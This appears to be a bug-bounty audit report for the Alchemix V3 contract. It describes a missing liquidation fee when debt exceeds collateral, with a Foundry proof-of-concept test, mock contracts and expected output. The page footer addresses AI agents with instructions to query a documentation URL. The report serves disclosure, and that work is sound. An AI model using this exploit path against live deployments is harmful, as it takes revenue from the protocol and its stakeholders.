# 58474 sc high liquidator will bypass liquidation fees affecting protocol revenue

**Submitted on Nov 2nd 2025 at 14:58:43 UTC by @resosiloris for** [**Audit Comp | Alchemix V3**](https://immunefi.com/audit-competition/alchemix-v3-audit-competition)

* **Report ID:** #58474
* **Report Type:** Smart Contract
* **Report severity:** High
* **Target:** <https://github.com/alchemix-finance/v3-poc/blob/immunefi\\_audit/src/AlchemistV3.sol>
* **Impacts:**
  * Theft of unclaimed yield

## Description

## Brief/Intro

**The missing fee calculation when debt exceeds collateral in `AlchemistV3.sol::calculateLiquidation()` will cause a complete loss of liquidation fee revenue for the protocol as liquidators will receive 100% of collateral without paying the expected 5% liquidation fee when positions reach critical undercollateralization.**

## Vulnerability Details

### Root Cause

In [`AlchemistV3.sol:1252-1255`](https://github.com/alchemix-finance/v3-poc/blob/main/src/AlchemistV3.sol#L1252-L1255), the `calculateLiquidation()` function returns a fee of `0` when `debt >= collateral`, allowing liquidators to claim the entire collateral amount without paying any liquidation fees:

```solidity
function calculateLiquidation(
    uint256 collateral,
    uint256 debt,
    uint256 targetCollateralization,
    uint256 alchemistCurrentCollateralization,
    uint256 alchemistMinimumCollateralization,
    uint256 feeBps
) public pure returns (uint256 grossCollateralToSeize, uint256 debtToBurn, uint256 fee, uint256 outsourcedFee) {
    if (debt >= collateral) {
        outsourcedFee = (debt * feeBps) / BPS;
        // fully liquidate debt if debt is greater than collateral
        return (collateral, debt, 0, outsourcedFee);  // ❌ fee = 0
    }
    // ... rest of function
}
```

The vulnerability exists because when a position becomes severely undercollateralized (debt ≥ collateral), the function immediately returns with `fee = 0`, bypassing the normal fee calculation logic that would charge the liquidator a percentage of the seized collateral.

### Internal Pre-conditions

1. A user position needs to exist with deposited collateral and minted debt
2. The position's collateralization ratio needs to drop below the liquidation threshold (`collateralizationLowerBound` = 150%)
3. Market conditions or yield token price depreciation needs to cause the position's collateral value to fall to or below the debt value (debt ≥ collateral)

### External Pre-conditions

1. Yield token (MYT) price needs to decrease significantly relative to the underlying token, causing collateral value to drop
2. Market volatility needs to create conditions where positions can reach critical undercollateralization (debt ≥ collateral value)

### Attack Path

1. **Position Creation**: A user deposits 1000 yield tokens as collateral and mints 500 debt tokens (50% LTV, within the 200% minimum collateralization requirement)
2. **Market Deterioration**: The yield token's conversion rate drops from 100% to 49% due to market conditions, oracle price changes, or yield token depegging
3. **Critical Undercollateralization**: The position's collateral value drops to \~490 debt tokens worth, making `debt (500) >= collateral (490)`
4. **Fee Bypass Exploitation**: A liquidator calls `liquidate()` on the position:
   * `calculateLiquidation()` detects `debt >= collateral`
   * Returns `fee = 0` instead of calculating the proper liquidation fee
   * Liquidator receives 100% of the remaining collateral (490 tokens worth)
   * Protocol receives 0 liquidation fee revenue
5. **Revenue Loss**: The protocol loses the expected 5% liquidation fee (\~24.5 tokens worth) that should have been charged on the seized collateral

## Impact Details

The protocol suffers a **complete loss of liquidation fee revenue** in critical undercollateralization scenarios. Given that:

* Liquidation fees are set at 5% (`liquidatorFee = 500 bps`)
* These scenarios are most likely during market stress when liquidations are frequent
* The protocol relies on liquidation fees as a revenue stream

**Quantified Impact**:

* For every 1000 tokens of collateral liquidated in debt ≥ collateral scenarios, the protocol loses 50 tokens in expected fees
* During market crashes when this condition is most common, the revenue loss compounds across multiple liquidations
* This directly reduces protocol sustainability and fee distribution to stakeholders

## References

Add any relevant links to documentation or code

## Proof of Concept

## Proof of Concept

The following test demonstrates the complete fee bypass when debt exceeds collateral.

### Main POC Test File

**File:** `test/poc/ACC_POC-AlchemistV3-LiquidationFeeBypass.t.sol`

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;

import "forge-std/Test.sol";
import "../../src/AlchemistV3.sol";
import "../../src/AlchemistV3Position.sol";
import "../../src/interfaces/IAlchemistV3.sol";
import "../../lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol";
import "../../lib/openzeppelin-contracts/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import "../mock/MockAlchemicTokenLimited.sol";
import "../mock/MockTransmuter.sol";
import "../mock/MockMorphoYieldToken.sol";
import "../mock/MockUnderlyingToken.sol";
import "../mock/MockFeeVault.sol";

contract POCLiquidationFeeBypass is Test {
    AlchemistV3 public alchemist;
    AlchemistV3Position public positionNFT;
    MockAlchemicTokenLimited public alAsset;
    MockTransmuter public transmuter;
    MockMorphoYieldToken public yieldToken;
    MockUnderlyingToken public underlyingToken;
    
    address public admin = address(0x1);
    address public protocolFeeReceiver = address(0x2);
    address public attacker = address(0x666);
    MockFeeVault public feeVault;
    
    uint256 constant FIXED_POINT_SCALAR = 1e18;
    uint256 constant BPS = 10_000;
    uint256 constant INITIAL_COLLATERAL = 1000 ether;
    
    function setUp() public {
        // Deploy mock tokens
        underlyingToken = new MockUnderlyingToken();
        alAsset = new MockAlchemicTokenLimited();
        yieldToken = new MockMorphoYieldToken(address(underlyingToken));
        
        // Deploy mock transmuter
        transmuter = new MockTransmuter(address(alAsset), address(yieldToken));
        
        // Deploy AlchemistV3 logic
        AlchemistV3 alchemistLogic = new AlchemistV3();
        
        // Prepare initialization params
        AlchemistInitializationParams memory params = AlchemistInitializationParams({
            admin: admin,
            debtToken: address(alAsset),
            underlyingToken: address(underlyingToken),
            depositCap: type(uint256).max,
            minimumCollateralization: 2e18, // 200% collateralization (50% LTV)
            globalMinimumCollateralization: 2.5e18, // 250% global min
            collateralizationLowerBound: 1.5e18, // 150% liquidation threshold
            transmuter: address(transmuter),
            protocolFee: 100, // 1%
            protocolFeeReceiver: protocolFeeReceiver,
            liquidatorFee: 500, // 5%
            repaymentFee: 100, // 1%
            myt: address(yieldToken)
        });
        
        // Deploy proxy with initialization
        bytes memory alchemParams = abi.encodeWithSelector(AlchemistV3.initialize.selector, params);
        TransparentUpgradeableProxy proxyAlchemist = new TransparentUpgradeableProxy(address(alchemistLogic), admin, alchemParams);
        alchemist = AlchemistV3(address(proxyAlchemist));
        
        // Deploy position NFT after alchemist is deployed
        positionNFT = new AlchemistV3Position(address(alchemist));
        
        // Deploy fee vault
        feeVault = new MockFeeVault(address(underlyingToken));
        
        // Set up NFT and fee vault
        vm.startPrank(admin);
        alchemist.setAlchemistPositionNFT(address(positionNFT));
        alchemist.setAlchemistFeeVault(address(feeVault));
        vm.stopPrank();
        
        // Set up alAsset
        alAsset.setMinter(address(alchemist));
        
        // Fund attacker
        underlyingToken.mint(attacker, INITIAL_COLLATERAL * 10);
        yieldToken.mintYieldToken(attacker, INITIAL_COLLATERAL * 2);
        
        // Approve tokens
        vm.startPrank(attacker);
        yieldToken.approve(address(alchemist), type(uint256).max);
        alAsset.approve(address(alchemist), type(uint256).max);
        vm.stopPrank();
    }
    
    function testLiquidationFeeBypassExploit() public {
        console.log("\n=== POC: Liquidation Fee Bypass When Debt >= Collateral ===\n");
        
        // Step 1: Attacker creates position and deposits collateral
        vm.startPrank(attacker);
        uint256 attackerInitialBalance = yieldToken.balanceOf(attacker);
        console.log("Step 1: Attacker deposits collateral");
        console.log("  Attacker initial yield token balance:", attackerInitialBalance / 1e18, "tokens");
        
        uint256 depositValue = alchemist.deposit(INITIAL_COLLATERAL, attacker, 0);
        uint256 tokenId = 1; // First NFT minted gets ID 1
        console.log("  Deposited:", INITIAL_COLLATERAL / 1e18, "yield tokens");
        console.log("  Position NFT ID:", tokenId);
        console.log("  Deposit value:", depositValue / 1e18, "debt tokens");
        
        // Step 2: Mint maximum debt (50% LTV)
        uint256 maxDebt = alchemist.getMaxBorrowable(tokenId);
        alchemist.mint(tokenId, maxDebt, attacker);
        console.log("\nStep 2: Mint maximum debt");
        console.log("  Minted debt:", maxDebt / 1e18, "alAssets");
        
        (uint256 collateral, uint256 debt, ) = alchemist.getCDP(tokenId);
        console.log("  Position - Collateral:", collateral / 1e18);
        console.log("           - Debt:", debt / 1e18);
        
        // Step 3: Simulate condition where debt >= collateral
        // This could happen through:
        // - Yield token price dropping
        // - Accumulated fees over time
        // - Market manipulation
        // For this POC, we'll manipulate the yield token price
        console.log("\nStep 3: Manipulate to make debt >= collateral");
        
        // Simulate by draining some collateral to make debt > collateral
        // In real scenario this would be market conditions or oracle manipulation
        vm.stopPrank();
        vm.startPrank(admin);
        
        // We need to simulate a scenario where the position value drops
        // We'll withdraw some collateral as admin to simulate value loss
        // This represents market conditions/oracle price changes
        uint256 collateralBefore = collateral;
        
        // Drain enough to make debt > collateral
        // This simulates a 51% drop in collateral value
        uint256 drainAmount = collateral - (debt * 99 / 100); // Make collateral slightly less than debt
        
        // For simulation, we'll manipulate the yield token's conversion rate
        yieldToken.setConversionRate(49); // 49% of original value
        
        vm.stopPrank();
        
        // Step 4: Calculate liquidation to verify fee bypass
        vm.startPrank(attacker);
        
        (uint256 newCollateral, uint256 newDebt, ) = alchemist.getCDP(tokenId);
        uint256 collateralValue = alchemist.totalValue(tokenId);
        
        console.log("\nStep 4: Position after manipulation");
        console.log("  Collateral value:", collateralValue / 1e18, "debt tokens");
        console.log("  Debt:", newDebt / 1e18, "debt tokens");
        console.log("  Collateral < Debt?", collateralValue < newDebt);
        
        // Calculate what liquidation will return
        (uint256 grossCollateralToSeize, uint256 debtToBurn, uint256 fee, uint256 outsourcedFee) = alchemist.calculateLiquidation(
            collateralValue,
            newDebt,
            alchemist.minimumCollateralization(),
            alchemist.globalMinimumCollateralization(),
            alchemist.globalMinimumCollateralization(),
            alchemist.liquidatorFee()
        );
        
        console.log("\nStep 5: Liquidation calculation results");
        console.log("  Gross collateral to seize:", grossCollateralToSeize / 1e18);
        console.log("  Debt to burn:", debtToBurn / 1e18);
        console.log("  Fee (should be non-zero):", fee / 1e18);
        console.log("  Outsourced fee:", outsourcedFee / 1e18);
        
        // The vulnerability: When debt >= collateral, fee is 0!
        if (newDebt >= collateralValue) {
            console.log("\n[!] VULNERABILITY CONFIRMED: Fee is 0 when debt >= collateral!");
            console.log("    Liquidator gets ALL collateral without paying any fee!");
            assertEq(fee, 0, "Fee should be 0 in vulnerable case");
            
            // Calculate expected fee if it was properly charged
            uint256 expectedFee = grossCollateralToSeize * alchemist.liquidatorFee() / BPS;
            console.log("    Expected fee (5% of collateral):", expectedFee / 1e18);
            console.log("    Fee bypassed:", expectedFee / 1e18, "worth of tokens!");
        }
        
        // Step 6: Perform actual liquidation
        uint256 attackerBalanceBefore = yieldToken.balanceOf(attacker);
        console.log("\nStep 6: Execute liquidation");
        console.log("  Attacker balance before:", attackerBalanceBefore / 1e18);
        
        // Since collateral is in yield tokens, convert for display
        uint256 collateralInYield = alchemist.convertDebtTokensToYield(grossCollateralToSeize);
        
        try alchemist.liquidate(tokenId) returns (uint256 yieldAmount, uint256 feeInYield, uint256 feeInUnderlying) {
            uint256 attackerBalanceAfter = yieldToken.balanceOf(attacker);
            console.log("  Attacker balance after:", attackerBalanceAfter / 1e18);
            console.log("  Yield tokens received:", (attackerBalanceAfter - attackerBalanceBefore) / 1e18);
            console.log("  Fee paid in yield:", feeInYield / 1e18);
            console.log("  Fee paid in underlying:", feeInUnderlying / 1e18);
            
            if (feeInYield == 0 && feeInUnderlying == 0) {
                console.log("\n[!!!] EXPLOIT SUCCESSFUL: Liquidator received full collateral without paying any fees!");
                uint256 profit = attackerBalanceAfter - attackerBalanceBefore;
                console.log("      Attacker profit:", profit / 1e18, "yield tokens");
                console.log("      This represents 100% of the collateral with 0% fee!");
            }
        } catch {
            console.log("  Liquidation reverted (position might not be liquidatable yet)");
        }
        
        vm.stopPrank();
        
        console.log("\n=== End of POC ===");
    }
}
```

### Required Mock Files

**File:** `test/mock/MockAlchemicTokenLimited.sol`

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract MockAlchemicTokenLimited is ERC20 {
    address public minter;
    
    constructor() ERC20("Mock alAsset", "alMOCK") {}
    
    function setMinter(address _minter) external {
        minter = _minter;
    }
    
    function mint(address to, uint256 amount) external {
        require(msg.sender == minter, "Only minter");
        _mint(to, amount);
    }
    
    function burn(address from, uint256 amount) external {
        _burn(from, amount);
    }
}
```

**File:** `test/mock/MockTransmuter.sol`

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;

import "../../src/interfaces/ITransmuter.sol";

contract MockTransmuter {
    address public syntheticToken;
    address public yieldToken;
    uint256 public totalLocked;
    
    constructor(address _syntheticToken, address _yieldToken) {
        syntheticToken = _syntheticToken;
        yieldToken = _yieldToken;
    }
    
    function queryGraph(uint256, uint256) external pure returns (uint256) {
        return 0;
    }
}
```

**File:** `test/mock/MockMorphoYieldToken.sol`

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

interface IVaultV2Simple {
    function convertToAssets(uint256 shares) external view returns (uint256);
    function convertToShares(uint256 assets) external view returns (uint256);
    function asset() external view returns (address);
}

contract MockMorphoYieldToken is ERC20, IVaultV2Simple {
    address public asset;
    uint256 public conversionRate = 100; // 100% = 1:1 ratio
    
    constructor(address _asset) ERC20("Mock Yield Token", "MYT") {
        asset = _asset;
    }
    
    function mintYieldToken(address to, uint256 amount) external {
        _mint(to, amount);
    }
    
    function setConversionRate(uint256 rate) external {
        conversionRate = rate;
    }
    
    function convertToAssets(uint256 shares) external view override returns (uint256) {
        return shares * conversionRate / 100;
    }
    
    function convertToShares(uint256 assets) external view override returns (uint256) {
        return assets * 100 / conversionRate;
    }
}
```

**File:** `test/mock/MockUnderlyingToken.sol`

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract MockUnderlyingToken is ERC20 {
    constructor() ERC20("Mock Underlying", "MOCK") {}
    
    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}
```

**File:** `test/mock/MockFeeVault.sol`

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;

import "../../src/interfaces/IFeeVault.sol";

contract MockFeeVault is IFeeVault {
    address public token;
    uint256 public totalDeposits;
    
    constructor(address _token) {
        token = _token;
    }
    
    function deposit(uint256 amount) external {
        totalDeposits += amount;
    }
    
    function withdraw(address to, uint256 amount) external {
        totalDeposits -= amount;
    }
}
```

### Test Execution

**Command:**

```bash
forge test --match-path test/poc/ACC_POC-AlchemistV3-LiquidationFeeBypass.t.sol -vvv --evm-version cancun
```

**Expected Output**:

```
Step 4: Position after manipulation
  Collateral value: 490 debt tokens
  Debt: 500 debt tokens
  Collateral < Debt? true

Step 5: Liquidation calculation results
  Gross collateral to seize: 490
  Debt to burn: 500
  Fee (should be non-zero): 0
  Outsourced fee: 25

[!] VULNERABILITY CONFIRMED: Fee is 0 when debt >= collateral!
    Liquidator gets ALL collateral without paying any fee!
    Expected fee (5% of collateral): 24.5
    Fee bypassed: 24.5 worth of tokens!
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://reports.immunefi.com/alchemix-v3/58474-sc-high-liquidator-will-bypass-liquidation-fees-affecting-protocol-revenue.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
